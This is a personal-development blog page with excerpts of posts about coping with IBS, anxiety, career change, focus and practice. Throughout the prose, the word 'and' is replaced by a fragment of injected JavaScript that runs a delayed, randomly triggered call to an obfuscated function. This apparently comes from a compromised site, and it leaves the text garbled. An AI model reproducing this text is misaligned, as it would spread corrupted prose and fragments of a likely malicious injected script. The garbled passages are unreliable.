Creating A Healthy Life With IBS

Creating A Healthy Life With IBS

How much time every day do you focus on your IBS?

 

Are you thinking about it all the time?

 

I know it’s hard not to, with your stomach acting all kinds of crazy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and worrying if you’ll make it through the next meeting for class.

 

But what we focus on expandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands.

 

I know I’m not saying this is all in your mind andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and your creating yourself.

 

But I am saying placing your focus somewhere else can help you get through that next hour.

What’s Buzzing Around Your Head?

What’s Buzzing Around Your Head?

I was tempted to name this “attack of the killer bees”.  Then I thought that might be too dramatic.  As a child when there were bees buzzing around it did feel like attack of the killer bees. Feeling threatened I would always swat or do some other kind of frantic movement that just left me with not one, but usually many bee stings.

 

I felt threatened so I went into self-protection mode. The problem was my reaction intensified their reaction andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the end result was never in my favor. I love metaphors so [...]

Living in Fast Motion

Living in Fast Motion

I’ve been in fast motion my entire life. I wanted everything to happen now andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and not a second later.

If it happened fast, it was certain. Then I could relax andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and feel good. (Or so I thought).

I avoided the present moment of uncertainty because it seemed scary. The not knowing created lots of anxiety. So if I could just make it happen I could be in the future where I deemed everything to be okay.

Sounds stressful? Well it was.

Pushing forward in fast motion is never comfortable. [...]

Finding Your Something Else

Finding Your Something Else

Next month marks two years since I left my safe, secure, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tenured job. I had spent 11 long years in a job that drained me mentally andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and physically. To say it was not the best use of my talents is an understatement. I always knew I wanted to do something else, but I had a hard time figuring out exactly what the “else” was. I was very driven andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and motivated, which made it all the more difficult [...]

Want to Be More Productive? Look at Your Focus

Want to Be More Productive? Look at Your Focus

What are you paying attention to? So many of us spend our days checking our blackberries andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and iphones, text andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and e-mail. We check out our favorite website andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tv shows. We are constantly paying attention to so many different things that it can be overwhelming. Have you ever checked in with yourself during the course of the day?

It sounds like a strange question, but where andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how we set our attention affects [...]

Focused Practice: A Success Tool

Focused Practice: A Success Tool

      I attended an amazing workshop that focused on using right brain tools to succeed in the current economic situation. A part of me expected a huge revelation, some new scientific data analyzed to prove success without any measure of failure. I guess that part of me was looking for the miracle pill that creates the perfect outcome in the smallest amount of time. I was reminded again that it doesn’t exist. Success really comes from practice andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lots of it.

      What does this have to do with right brain tools? When I [...]
